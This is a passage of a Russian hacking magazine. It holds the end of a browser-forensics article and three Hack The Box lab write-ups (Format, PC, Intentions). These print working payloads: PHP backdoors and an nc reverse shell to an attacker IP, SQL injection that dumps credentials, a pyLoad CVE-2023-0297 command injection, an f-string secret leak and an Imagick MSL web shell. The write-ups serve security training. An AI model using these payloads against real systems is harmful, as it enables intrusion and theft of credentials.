сам файл. Информация о загрузке пользователем такого файла попадет
в журнал браузера.
Профиль браузера Firefox:

C:\Users\<user>\AppData\Roaming\Mozilla\Firefox\Profiles\[profileID]

В файле places.sqlite ты найдешь две полезные таблицы: moz__places


содержит историю браузера, moz__annos — информацию о загрузках. А в
файле cookies.sqlite лежат все сохраненные куки.
Инструменты для анализа:
• MZHistoryView — утилита для анализа истории браузера;
• MZCacheView — утилита для анализа файлов кеша;
• MZCookieView — утилита для анализа файлов cookies;
• DB Browser for SQLite — инструмент просмотра базы данных SQLite.
При анализе таблиц истории браузера нужно будет преобразовать вре-
менные метки следующим выражением: datetime(lastvisitdate/
1000000,'unixepoch').

Профиль Chrome:

C:\Users\<User>\AppData\Local\Google\Chrome\User Data\Default

Историю посещения страниц и загрузок можно найти в файле History, она


хранится в базе SQLite, в таблицах urls и downloads. Файлы кеша лежат
в каталоге Cache\Default Cache. Расширения браузера хранятся в каталоге
Extensions.
Инструменты для анализа:
• ChromeHistoryView — анализ истории браузера;
• ChromeCacheView — анализ кеша;
• DB Browser for SQLite — при анализе таблиц urls и downloads необ-
ходимо преобразовать временные метки следующим выражением:
datetime(("last_visit_time"/1000000)-11644473600,
'unixepoch', 'localtime').

Путь к профилю Opera:

C:\Users\%username%\AppData\Roaming\Opera Software\Opera Stable

Формат истории и загрузок тот же, что и у Google Chrome. То же самое и у


Yandex Browser.
История посещений Internet Explorer:

C:\Users\<User>\AppData\Local\Microsoft\Windows\History\index.dat

Для ее анализа можно воспользоваться утилитой IEHistoryView.


Информация о загрузках в IE:

C:\Users\<user>\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory

Кеш IE:

C:\Users\<User>\Appdata\Local\Microsoft\Windows\Temporary Internet
Files\Content.IE5

Для анализа пригодится тулза IECacheView.


Артефакты Microsoft Edge:

C:\Users\<User>\AppData\Local\Microsoft\Edge\User Data\Default

Поскольку Edge — это втайне Chromium, анализ истории, загрузок и кеша


будет выглядеть так же, как в Chrome.

ÂÛÂÎÄÛ

Мы рассмотрели основные артефакты Windows, которые специалист должен


изучить при расследовании инцидента, а хакер, наоборот, может попытаться
скрыть. По пути мы собрали инструментарий для анализа. Используя эти тех-
ники, ты сможешь восстановить ход событий, описать атаку по матрице
MITRE ATT&CK и сделать какие-то выводы о злоумышленнике.
ВЗЛОМ

ПРОКСИРУЕМ ЗАПРОСЫ В REDIS


ЧЕРЕЗ МИСКОНФИГ NGINX

В этом райтапе я покажу, как производить


запись данных в Redis благодаря ошибке
в настройках Nginx. Также мы проанализи-
руем исходники веб-приложений, чтобы
найти ряд векторов для атаки: LFI, повыше- RalfHacker
hackerralf8@gmail.com
ние роли пользователя и RCE. Для повыше-
ния привилегий будем эксплуатировать уяз-
вимость f-строки в Python и получим скры-
тые данные приложения.

Упражняться мы будем на тренировочной машине Format с площадки Hack


The Box. Уровень ее сложности — средний.

Подключаться к машинам с HTB рекомендуется


только через VPN. Не делай этого с компьютеров,
где есть важные для тебя данные, так как ты ока-
жешься в общей сети с другими участниками.

ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
Добавляем IP-адрес машины в /etc/hosts:

10.10.11.213 format.htb

И запускаем сканирование портов.

Сканирование портов — стандартный первый шаг при любой атаке. Он поз-


воляет атакующему узнать, какие службы на хосте принимают соединение.
На основе этой информации выбирается следующий шаг к получению точки
входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить
результаты его работы ты можешь при помощи следующего скрипта:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое ска-


нирование, на втором — более тщательное сканирование, с использованием
имеющихся скриптов (опция -A).

Результат работы скрипта

Сканер нашел три открытых порта:


• 22 — служба OpenSSH 8.4p1;
• 80 и 3000 — веб-сервер Nginx 1.18.0.

Дополнительно в параметре http-title на порте 3000 отмечаем редирект


на http://microblog.htb:3000/. Добавляем этот домен в файл /etc/hosts
и идем смотреть сайты.

10.10.11.213 microblog.htb format.htb

Главная страница сайта microblog.htb:3000

Веб-сервер на порте 80 вернул код 404, а на 3000 нас встретил Git.

ÒÎ×ÊÀ ÂÕÎÄÀ
Мы сразу можем поискать открытые репозитории и пользователей.

Открытые репозитории в Git

Видим доступный репозиторий microblog. Скачиваем файлы проекта


для изучения.

Содержимое репозитория microblog

Исходные коды нашли, а сайта пока не видно. Поскольку нам известно реаль-
ное доменное имя, нужно просканировать поддомены. Вдруг там доступны
другие сайты? Для этого будем использовать утилиту ffuf.

Одно из первых действий при тестировании безопасности веб-приложе-


ния — это сканирование методом перебора каталогов, чтобы найти скрытую
информацию и недоступные обычным посетителям функции. Для этого можно
использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем сле-
дующие параметры:
• -w — словарь (я использую словари из набора SecLists);
• -t — количество потоков;
• -u — URL;
• -H — HTTP-заголовок.

Место перебора помечается словом FUZZ.

Команда получается следующая:

ffuf -u http://microblog.htb -w subdomains-top1million-110000.txt -t


256 -H 'Host: FUZZ.microblog.htb'

Результат сканирования поддоменов с помощью ffuf

Находим два новых поддомена, поэтому обновим запись в файле /etc/


hosts, а затем посмотрим, какие сайты там хостятся.

10.10.11.213 microblog.htb format.htb app.microblog.htb sunny.


microblog.htb

Главная страница сайта app.microblog.htb

Главная страница сайта sunny.microblog.htb

Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ

ПРОКСИРУЕМ ЗАПРОСЫ В REDIS ЧЕРЕЗ


МИСКОНФИГ NGINX

ÒÎ×ÊÀ ÎÏÎÐÛ
Начинаем изучать исходный код приложения и на втором сайте находим
потенциальную уязвимость инъекции команд ОС в функции
provisionProUser из файла edit/index.php. После предварительной про-
верки isPro() == true (строка 26) в функцию system передается результат
выполнения другой функции getBlogName (строки 27–32).

Содержимое файла edit/index.php

В том же файле расположен и код функций isPro и getBlogName. Первая


обращается к базе Redis (строки 129–132) и для текущего пользователя про-
веряет параметр pro (видимо, это какая-то метка администратора). Вторая
функция извлекает поддомен из HTTP-заголовка Host. То есть для test.
domain.com функция getBlogName вернет строку test.

Содержимое файла edit/index.php

У нашего пользователя нет административного доступа, поэтому эксплуати-


ровать инъекцию мы пока не сможем. Но в этом же файле находим воз-
можность подключить к сайту содержимое произвольного файла на сервере,
что дает нам LFI. Мы можем в параметре id отправить имя файла для подклю-
чения, главное, чтобы этот файл существовал. Если такой файл не существу-
ет, то он будет создан и в него запишется текст из параметра txt. Затем
файл будет подключен к сайту (строки 81–91).

Содержимое файла edit/index.php

Проверим наше предположение.

LFI
Переходим к первому сайту, регистрируемся и авторизуемся. Это дает нам
некоторые привилегии, а также расширяет область тестирования.

Главная страница авторизованного пользователя

Теперь нам доступна функция создания своего блога. Создадим блог ralf
и добавим запись в файл /etc/hosts.

10.10.11.213 microblog.htb format.htb app.microblog.htb sunny.


microblog.htb ralf.microblog.htb

Затем найдем в Burp History запрос к сайту sunny и изменим HTTP-заголовок


Host, указав там имя только что созданного блога. Таким образом мы обра-
тимся к своему блогу.

Запрос к созданному блогу

Теперь попробуем подключить к сайту файл /etc/passwd, путь к которому


передаем в параметре id, запросив страницу edit/index.php.

Содержимое файла /etc/passwd

Таким образом подтверждаем LFI, поэтому следующим действием зап-


рашиваем настройки сервера /etc/nginx/sites-enabled/default. Вывод
получается скомканным, но ряд замен в CyberChef помогает преобразовать
файл в удобный формат.

Настройки веб-сервера

Ìèñêîíôèã Nginx proxy_pass


Разберем последнюю настройку:

location ~ /static/(.*)/(.*) {
resolver 127.0.0.1;
proxy_pass http://$1.microbucket.htb/$2;
# }

При обращении к странице /static/dom/qwe.html запрос будет прок-


сирован на dom.microbucket.htb/qwe.html. Но функция proxy_pass в Nginx
поддерживает еще и запросы к локальным сокетам Unix и даже отправку
и получение данных.
Формат для перезаписи ключа Redis будет следующим:

redis.sock:key val1 val2 val3

Таким образом, благодаря мисконфигу Nginx мы можем обратиться к сокету


Redis и перезаписать для нашего пользователя ralf параметр pro и зна-
чение true, что даст пользователю дополнительные привилегии Pro. Сделать
это можно следующим запросом.

curl -X HSET "http://microblog.htb/static/unix:


%2Fvar%2Frun%2Fredis%2Fredis.sock:ralf%20pro%20true%20a/b"

Запрос на сервер

Этот запрос будет проксирован и преобразован в запрос следующего вида:

HSET /unix:/var/run/redis/redis.sock:ralf pro true a.microbucket.htb/


b

То есть в сокет /var/run/redis/redis.sock по ключу ralf будут записаны


значения pro, true и a.microbucket.htb/b. Обновляем страницу на сайте
и видим пометку Pro рядом с именем пользователя.

Страница авторизованного пользователя

RCE
Теперь перейдем к RCE, для чего поместим PHP-бэкдор shell_exec
в каталог uploads. В параметре id отправляем путь к файлу /var/www/
microblog/ralf/uploads/rce.php, а в параметре txt — код бэкдора:

<?php echo shell_exec("curl+10.10.14.28/test_rce");?>

Затем обращаемся к созданному файлу и проверяем логи веб-сервера.

Запись PHP-бэкдора

Запрос к файлу бэкдора

Логи веб-сервера

В логах видим запрос к странице test_rce, а значит, бэкдор отработал.


Теперь активируем листенер pwncat-cs и вместо команды curl выполняем
следующий реверс-шелл:

<?php echo shell_exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&


1|nc 10.10.14.28 4321 >/tmp/f");?>

Сессия пользователя www-data

ÏÐÎÄÂÈÆÅÍÈÅ
Для продвижения к учетной записи пользователя чаще всего следует искать
учетные данные для разных баз, сервисов и служб. Так как на хосте работает
Redis и мы можем к нему подключиться, нужно проверить сохраненные дан-
ные.

redis-cli -s /run/redis/redis.sock
keys *

Ключи в базе Redis

Нас интересуют записи по ключу cooper.dooper, получим их все.

hgetall cooper.dooper

Записи по ключу cooper.dooper

Видим записи username и password. С полученным паролем авторизуемся


по SSH от имени пользователя cooper.

Флаг пользователя

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ


Теперь настало время собрать информацию о системе. Я буду использовать
для этого скрипты PEASS.

Что делать после того, как мы получили доступ в систему от имени поль-
зователя? Вариантов дальнейшей эксплуатации и повышения привилегий
может быть очень много, как в Linux, так и в Windows. Чтобы собрать
информацию и наметить цели, можно использовать Privilege Escalation
Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют сис-
тему на автомате и выдают подробный отчет о потенциально интересных
файлах, процессах и настройках.

Загрузим на хост скрипт для Linux, дадим право на выполнение и запустим


сканирование. В выводе будет много информации, смотрим самое интерес-
ное.
Настройки sudoers доступны только при вводе пароля.

Настройки sudoers

Видим несколько файлов, в том числе исполняемых, которые добавлены


в систему пользователем.

Добавленные пользователем файлы

Больше ничего интересного. Так как мы знаем пароль пользователя, все-таки


проверим настройки sudoers.

sudo -l

Настройки sudoers

Оказывается, мы можем запустить приложение /usr/bin/license от имени


пользователя root. Проверим тип файла с помощью утилиты file.

file /usr/bin/license

Проверка типа файла

Это скрипт на Python. Смотрим его исходный код в любом удобном редак-
торе. Это приложение может быть запущено только привилегированным
пользователем (строки 22–26).
Затем приложение читает секрет из файла /root/license/secret, а из
секрета формируется ключ шифрования (строки 37–43).

Исходный код приложения license

Затем приложение получает данные из базы Redis и открывает файл с клю-


чами лицензии /root/license/keys (строки 48–61). Следом из базы Redis
читаются параметры username, first-name и last-name, которые вместе
с содержимым лицензии выводятся пользователю (строки 62–78).

Исходный код приложения license

При выводе используется f-строка (строки 65 и 69). Так как через базу Redis
мы можем контролировать входные данные, попробуем в качестве одного
из параметров записать такую строку:

{license.__init__.__globals__[secret_encoded]}

Она должна будет вывести секрет!

redis-cli -s /var/run/redis/redis.sock

HMSET ralf first-name "{license.__init__.__globals__[secret_encoded]}


" last-name ralf username ralf

Запись в базу Redis

Теперь запускаем приложение, указывая созданный ключ ralf, и ищем


в выводе секрет.

sudo /usr/bin/license -p ralf

Эксплуатация уязвимости

Полученный секрет пробуем применить в качестве пароля рута. Пароль под-


ходит, забираем последний флаг.

Флаг рута

Машина захвачена!
ВЗЛОМ

МАНИПУЛИРУЕМ ПРОТОКОЛОМ
GRPC ПРИ ВЗЛОМЕ СЕРВЕРА

В этом райтапе я познакомлю тебя с про-


токолом gRPC компании Google, затем
обнаружим и проэксплуатируем SQL-инъ-
екцию для SQLite. При повышении привиле-
гий используем уязвимость в сервисе RalfHacker
hackerralf8@gmail.com
pyLoad.

Поможет нам в этом тренировочная машина PC с площадки Hack The Box.


Уровень ее сложности — легкий.

Подключаться к машинам с HTB рекомендуется


только через VPN. Не делай этого с компьютеров,
где есть важные для тебя данные, так как ты ока-
жешься в общей сети с другими участниками.

ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
Добавляем IP-адрес машины в /etc/hosts:

10.10.11.214 pc.htb

И начинаем сканирование портов.

Сканирование портов — стандартный первый шаг при любой атаке. Он поз-


воляет атакующему узнать, какие службы на хосте принимают соединение.
На основе этой информации выбирается следующий шаг к получению точки
входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить
результаты его работы ты можешь при помощи следующего скрипта:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое ска-


нирование, на втором — более тщательное сканирование, с использованием
имеющихся скриптов (опция -A).

Результат работы скрипта

Сканер нашел два открытых порта:


• 22 — служба OpenSSH 8.2p1;
• 50051 — неизвестный порт.

Результаты очень скудные: в случае с SSH поможет только брутфорс учетных


данных (а он при решении задач с HTB обычно не практикуется), а за что
отвечает порт 50051, пока непонятно.

ÒÎ×ÊÀ ÂÕÎÄÀ
Что за неизвестный порт? Достаточно поискать этот номер в интернете, что-
бы обнаружить, что его может держать открытым служба gRPC. Это реали-
зация протокола RPC (метода удаленного вызова процедур) с открытым
исходным кодом, разработанная в Google. gRPC предназначен для работы
с различными механизмами аутентификации, что упрощает обращение к нему
из других систем. Можно использовать его с аутентификацией SSL/TLS
на основе токенов Google или без нее, а также подключить собственную сис-
тему аутентификации, расширив предоставленный компанией код.
Для работы по протоколу gRPC будем использовать gRPC UI. Скачиваем
последнюю версию и запускаем, указывая сервер и порт для подключения.

grpcui -plaintext 10.10.11.214:50051

В итоге получим ссылку, которая поможет удобно работать с сервером через


браузер.

Главное окно gRPC UI

Первым делом просматриваем доступные методы. Мы можем зарегистри-


ровать пользователя (RegisterUser), авторизоваться в сервисе (LoginUser)
и получить какую-то информацию (getInfo).

Доступные методы

В плане безопасности этот сервис ничем не отличается от других таких же,


но я наугад решил попробовать наиболее популярные логины и пароли.
Повезло очень быстро — подошли логин и пароль admin:admin. Авторизу-
емся и получаем токен.

Запрос LoginUser

Ответ сервера

А теперь пробуем получить информацию о пользователе, для чего нам при-


годится метод getInfo. Указываем в данных запроса полученный на пре-
дыдущем шаге идентификатор. Аутентификацию нужно пройти с помощью
токена, для чего создаем запись token в метаданных запроса.

Запрос getInfo

Ответ сервера

Однако в итоге ничего интересного не получаем.

Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ

МАНИПУЛИРУЕМ ПРОТОКОЛОМ GRPC ПРИ


ВЗЛОМЕ СЕРВЕРА

ÒÎ×ÊÀ ÎÏÎÐÛ
Перейдем в Burp Suite и перенаправим запрос в Burp Repeater. Так как мы
отправляем на сервер идентификатор пользователя и получаем ответ,
не исключено, что приложение использует базы данных. Поэтому стоит про-
верить, нет ли возможности для SQL-инъекции. Возьмем число, вызывающее
ошибку, а потом дополним его условием or 1=1. Оно возвращает значение
TRUE, и в результате ошибки больше нет. Значит, есть возможность для инъ-
екции.

Ответ с ошибкой

Ответ без ошибки

А теперь попробуем получить какие-нибудь данные. Для этого добавим


к идентификатору запрос select 123 с помощью оператора union. Сервер
вернет введенную нами последовательность.

Запрос и ответ сервера

SQL-èíúåêöèÿ
Первым делом определяем, с какой СУБД предстоит работать. Для этого
достаточно перебрать несколько команд с характерным для разных систем
синтаксисом. Сработала нагрузка для SQLite.

1 union select sqlite_version()

Версия СУБД

Переходим к эксфильтрации таблиц. Для этого получим их список.

1 union select tbl_name from sqlite_master where type='table' and


tbl_name NOT like 'sqlite_%'

Таблицы в базе SQLite

Находим всего одну таблицу — accounts. Чтобы получить из нее данные, нам
нужны названия столбцов. Хорошо, что в SQLite не надо отдельно вытас-
кивать название каждого столбца — можно запросить сразу всё определение
таблицы.

1 union select sql from sqlite_master where type!='meta' and sql not
NULL and name ='accounts'

Определение таблицы accounts

В таблице два столбца: username и password. Используя оператор


group_concat, попробуем вывести все логины в одну запись через запятую.

1 union select group_concat(username) from accounts

Ошибка получения данных

Получаем ошибку. Чтобы избавиться от нее, нужно сменить значение в пер-


вой части запроса на невозможное.

-1 union select group_concat(username) from accounts

Логины в таблице accounts

Получаем логины пользователей. Теперь аналогичным запросом получим


данные из столбца password.

-1 union select group_concat(password) from accounts

Пароли в таблице accounts

И теперь у нас есть еще и пароли. С полученными учетными данными авто-


ризуемся на SSH и забираем первый пользовательский флаг.

Флаг пользователя

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ


Теперь нам необходимо собрать информацию. Я буду использовать для это-
го скрипты PEASS.

Что делать после того, как мы получили доступ в систему от имени поль-
зователя? Вариантов дальнейшей эксплуатации и повышения привилегий
может быть очень много, как в Linux, так и в Windows. Чтобы собрать
информацию и наметить цели, можно использовать Privilege Escalation
Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют сис-
тему на автомате и выдают подробный отчет о потенциально интересных
файлах, процессах и настройках.

Загрузим на хост скрипт для Linux, дадим право на выполнение и запустим


сканирование. Информации на выходе получаем много, но из полезного я
приметил только то, что открыт характерный для веб-сервера порт 8000.

Открытые порты

Чтобы получить доступ к приложению, нужно будет прокинуть


порт 8000 на свой хост с помощью SSH.

ssh sau@pc.htb -L 8000:127.0.0.1:8000

Таким образом весь трафик, который мы пошлем на локальный порт 8000,


будет туннелирован на порт 8000 указанного хоста (в данном слу-
чае 127.0.0.1) через SSH-хост. Когда туннель построен, можно обратиться
к сайту через браузер.

Главная страница сайта на порте 8000

Перед нами pyLoad. Это бесплатный менеджер загрузок с открытым


исходным кодом на Python. Первым делом стоит поискать свежие уязвимости
для него. И поиск выводит нас на CVE-2023-0297.

Описание уязвимости

Затронутые версии этого пакета уязвимы перед инъекцией команд ОС, так
как приложение передает данные из пользовательского ввода в pyimport.
А поиск эксплоитов на GitHub приводит к репозиторию, где описан PoC
для получения RCE.

Инструкция для эксплуатации уязвимости

Поменяем запрос на нужный нам, а вместо того, чтобы создавать файл


с помощью touch, попробуем назначить S-бит программе /bin/bash.

curl -i -s -k -XPOST --data-binary 'jk=pyimport%20os;os.system(


"chmod%20u%2bs%20/bin/bash");f=function%20f2(){};&package=xxx&
crypted=AAAA&&passwords=aaaa' 'http://127.0.0.1:8000/flash/
addcrypted2'

Запрос с нагрузкой

Затем проверяем права на файл командной оболочки /bin/bash и обна-


руживаем, что S-бит выставлен, а значит, у нас вышло проэксплуатировать
уязвимость и получить рут.

Права на файл /bin/bash

Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь,


запускающий этот файл, получает повышение прав до пользователя — вла-
дельца файла в рамках запущенного процесса. После получения повышенных
прав приложение может выполнять задачи, которые недоступны обычному
пользователю. Из-за возможности состояния гонки многие операционные
системы игнорируют S-атрибут, установленный shell-скриптам.

/bin/bash -p

Флаг рута

Машина захвачена!
ВЗЛОМ

ЭКСПЛУАТИРУЕМ СЛОЖНУЮ
SQL-ИНЪЕКЦИЮ ДЛЯ ДАМПА
БАЗЫ ДАННЫХ

Сегодня нам с тобой предстоит пройти


через череду очень сложных веб-уязвимос-
тей, проэксплуатировав двухступенчатую
SQL-инъекцию и уязвимость в модуле PHP
Imagick. Для продвижения изучим Git- RalfHacker
hackerralf8@gmail.com
репозиторий, а для повышения привилегий
напишем читалку файлов через поль-
зовательский сканер.

А поможет нам в этом тренировочная машина Intentions с площадки Hack


The Box сложного уровня (hard).

Подключаться к машинам с HTB рекомендуется


только через VPN. Не делай этого с компьютеров,
где есть важные для тебя данные, так как ты ока-
жешься в общей сети с другими участниками.

ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
Добавляем IP-адрес машины в /etc/hosts:

10.10.11.220 intentions.htb

И запускаем сканирование портов.

Сканирование портов — стандартный первый шаг при любой атаке. Он поз-


воляет атакующему узнать, какие службы на хосте принимают соединение.
На основе этой информации выбирается следующий шаг к получению точки
входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить
результаты его работы ты можешь при помощи следующего скрипта:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое ска-


нирование, на втором — более тщательное сканирование, с использованием
имеющихся скриптов (опция -A).

Результат работы скрипта

По результатам сканирования имеем всего два открытых порта: 22 — служба


OpenSSH 8.9p1 и 80 — веб-сервер Nginx 1.18.0. Брутить SSH на машинах
с HTB не принято, а на сайте нас встречает форма авторизации и регистра-
ции.

Страница авторизации

ÒÎ×ÊÀ ÂÕÎÄÀ
Регистрируем нового пользователя и авторизуемся на сайте.

Главная страница авторизованного пользователя

На странице профиля пользователя находим поле, на которое мы можем воз-


действовать.

Страница профиля пользователя

Заглянув в Burp History (а все действия я рекомендую проводить через


Burp), обнаружим, что используется API.

История запросов

В поле изменения жанра я попробовал вставить нагрузку ' -- - для SQL-


инъекции и в ответе получил те же данные, только без пробелов.

Запрос на сервер

Ответ сервера

Стоит отметить, что нагрузку мы отправляем к API /api/v1/gallery/user/


genres, а проверяем измененные данные через API /api/v1/auth/user.

ÒÎ×ÊÀ ÎÏÎÐÛ
Burp Macro
Первым делом я решил перебрать разные нагрузки с помощью Burp
Intruder. Но сложность в том, что нужно выполнять два запроса — один
с нагрузкой, а другой для проверки результата. Тут нам могут помочь мак-
росы, которые задаются через настройки Burp. Переходим к списку правил
сессии и создаем новое.

Список правил сессий

В открывшемся окне в поле Rule actions создаем новый макрос run post-
request macro — то есть выполняемый после основного запроса.

Настройки правила

Для созданного макроса открываем Editor и выбираем запрос к API: /api/v1/


auth/user. Здесь мы получаем текущее значение настроек профиля.

Настройки макроса

Подтверждаем — и в окне с настройками созданного правила видим наш


макрос.

Настройки правила

Переходим на вкладку Scope и в параметре URL scope выбираем Include all


URLs, чтобы правило применялось абсолютно ко всем запросам.

Настройки правила

Подтверждаем установленные параметры и видим созданное правило


в общем списке правил.

Список правил сессий

Теперь переносим запрос к API /api/v1/gallery/user/genres в Burp


Intruder. В настройках переходим к опции Grep → Extract и указываем инте-
ресующее нас поле, чтобы добавить его содержимое в общую таблицу
результатов Intruder.

Burp Intruder — вкладка Positions

Burp Intruder — вкладка Settings

Так как мы используем правило с несколькими запросами, перебирать нужно


в один поток.

Результат перебора

Просмотрев результат, я ничего необычного не нашел, кроме того, что мы


получаем ошибку при отправке символа ". Таким образом, как бы
ни менялось поле жанра, ничего интересного мы не добиваемся.
Немного побродив по сайту, замечаем, что жанр также используется
при просмотре галереи. Там выполняется вызов API /api/v1/gallery/user/
feed.

Запрос в Burp History

Мы получаем разные изображения в зависимости от установленного у нас


жанра. Этот момент тоже необходимо протестировать, поэтому возвращаем-
ся к нашим правилам и изменяем макрос, чтобы он выполнял запрос к API /
api/v1/gallery/user/feed. Для изменения выбираем Re-record macro
и отмечаем нужный запрос.

Настройки макроса

Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ

ЭКСПЛУАТИРУЕМ СЛОЖНУЮ
SQL-ИНЪЕКЦИЮ ДЛЯ ДАМПА БАЗЫ ДАННЫХ

Macro Recorder

После изменения макроса переводим запрос в Burp Repeater и отправляем


обычную нагрузку с комментарием для Boolean-based-инъекции test' or
1=1 -- -.

Запрос на сервер

Ответ сервера

В ответ получаем ошибку — видимо, из-за кавычки. Тогда пробуем указать


нагрузку без кавычки.

Запрос на сервер

Ответ сервера

Запрос обработан, но данные никакие не получаем. Переходим к перебору


нагрузок.

SQL-èíúåêöèÿ
Настраиваем Burp Intruder в один поток, только в этот раз ничего извлекать
из ответа не будем, а просто отсортируем результат по размеру ответа.

Burp Intruder — вкладка Positions

Результат атаки

И получаем несколько нагрузок, дающих иной результат. Значит, SQL-инъ-


екция возможна, так что переходим к эксплуатации. Сохраним в виде файлов
запросы для записи нагрузки и для проверки результата, после чего переда-
дим оба файла в sqlmap, чтобы автоматизировать эксплуатацию. Не забыва-
ем активировать шаблон space2comment для обхода фильтра пробелов.

sqlmap -r r1.req --second-req r2.req --level=5 --risk=3 --tamper=


space2comment --batch

Результат сканирования sqlmap

Спустя некоторое время sqlmap определяет и кеширует рабочую нагрузку.


Теперь мы можем перейти к получению данных. Сначала выведем список баз
данных (параметр --dbs).

sqlmap -r r1.req --second-req r2.req --level=5 --risk=3 --tamper=


space2comment --batch --dbs

Существующие базы данных

Нас интересует база intentions, получим из нее (параметр -D) все таблицы
(параметр --tables).

sqlmap -r r1.req --second-req r2.req --level=5 --risk=3 --tamper=


space2comment --batch -D intentions --tables

Таблицы в базе intentions

Имеем четыре таблицы. В охоте за учетными данными получим все колонки


(параметр --columns) таблицы users (параметр -T).

sqlmap -r r1.req --second-req r2.req --level=5 --risk=3 --tamper=


space2comment --batch -D intentions -T users --columns

Колонки в таблице users

Нам нужны данные (параметр --dump) из колонок email и password, а также


admin (параметр -C), чтобы понимать, кто из пользователей сайта привиле-
гированный.

sqlmap -r r1.req --second-req r2.req --level=5 --risk=3 --tamper=


space2comment --batch -D intentions -T users -C email,password,admin
--dump

Данные из таблицы users

И спустя примерно час получаем учетные данные всех пользователей сайта.

Ïîâûøåíèå ïðèâèëåãèé
Использован алгоритм хеширования bcrypt, хеши которого можно перебрать
при помощи hashcat вот такой командой:

hashcat -m 3200 -a 0 --username hashes.txt rockyou.txt

Подождав десять минут и не получив результата, я остановил брут. Видимо,


такой вектор не предполагался автором машины (все хеши на машинах
с Hack The Box перебираются не дольше пяти минут по словарю
rockyou.txt).
Я вернулся на веб-сервер и решил перебрать файлы. Так как уже видели
несколько файлов JavaScript в каталоге /js, будем перебирать с этим рас-
ширением. Я воспользуюсь для этого feroxbuster.

Одно из первых действий при тестировании безопасности веб-приложе-


ния — это сканирование методом перебора каталогов, чтобы найти скрытую
информацию и недоступные обычным посетителям функции. Для этого можно
использовать программы вроде dirsearch, DIRB или ffuf. Я предпочитаю
feroxbuster.
При запуске указываем следующие параметры:
• -u — URL;
• -w — словарь (я использую словари из набора SecLists);
• -t — количество потоков;
• -d — глубина сканирования;
• -x — расширение файлов;
• -s — код ответа.

Запускаем сканирование:

feroxbuster -u http://intentions.htb/js/ -t 256 -d 1 -w directory_2.


3_medium_lowercase.txt -x js -s 200

Результат сканирования файлов с помощью feroxbuster

Обнаруживаем файл с говорящим названием admin.js. Файл большой, и при


попытке найти слова, содержащие строку pass, натыкаемся на интересные
сообщения.

Содержимое файла admin.js

В сообщении сказано, что администратор может использовать API v2 и авто-


ризоваться по хешу, а не по паролю. Отправляем из Burp History запрос к API
login в Burp Repeater и изменяем версию API с v1 на v2.

Запрос к API /api/v2/auth/login

Нам сообщают, что необходимо предоставить параметры email и hash.


Используем учетные данные пользователя greg и получаем сообщение
об успешной авторизации.

Запрос к API /api/v2/auth/login

Применим сессию к браузеру и просмотрим доступные страницы.

Главная страница администратора

Из сообщения «v2 API Update» делаем вывод, что используется класс PHP
Imagick. Я сразу просмотрел, нет ли в нашей версии известных уязвимостей,
и поиски привели меня к прошлогоднему багу, найденному командой PT
Swarm.

Поиск уязвимостей в Google

PHP Imagick RCE


В статье отмечено наличие SSRF в конструкторе класса Imagick, но, помимо
этого, использовав MSL (Magick Scripting Language), можно развить уяз-
вимость до RCE. Это встроенный язык ImageMagick, который облегчает обра-
ботку изображений. С его помощью можно в числе прочего взаимодейство-
вать с файловой системой. Это интересно, учитывая, что на нашем сайте есть
возможность редактировать изображения.

Страница Images

Пробуем изменить оттенок, после чего просматриваем запрос в Burp History.

Запрос к API /api/v2/admin/image/modify

В запросе передается оттенок и путь к файлу картинки. Используя этот зап-


рос и метод из статьи, попробуем передать файл MSL, указывающий на изоб-
ражение с веб-шеллом, расположенное на нашем веб-сервере, а потом поп-
робуем обратиться к такому изображению.
Первым делом создадим изображение с веб-шеллом.

convert xc:red -set 'Copyright' '<?php system($_GET["a"]); ?>' expl.


png

Передавать будем вот таким файлом MSL.

<?xml version="1.0" encoding="UTF-8"?>


<image>
<read filename="http://10.10.14.42/expl.png" />
<write filename="/var/www/html/intentions/public/expl.php" />
</image>

Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ

ЭКСПЛУАТИРУЕМ СЛОЖНУЮ
SQL-ИНЪЕКЦИЮ ДЛЯ ДАМПА БАЗЫ ДАННЫХ

А теперь нам нужно одновременно запустить два запроса в Burp Intruder.


В первом мы будем передавать файл MSL, а во втором — пытаться успеть
к нему обратиться, пока он не исчез из временного каталога /tmp.

Запрос с файлом MSL

Запрос к временному файлу

Для обоих интрудеров устанавливаем 100–1000 нагрузок с пустой нагрузкой.

Burp Intruder — вкладка Payloads

После запуска обоих интрудеров в логах веб-сервера видим обращение


к изображению с нагрузкой.

Логи веб-сервера

Содержимое картинки с нагрузкой было получено и сохранено на сервере


в файл PHP. Пробуем выполнить команду id.

http://intentions.htb/expl.php?a=id

Результат выполнения команды id

Команды выполняются, а значит, запускаем листенер pwncat-cs -lp 4321


и выполняем реверс-шелл:

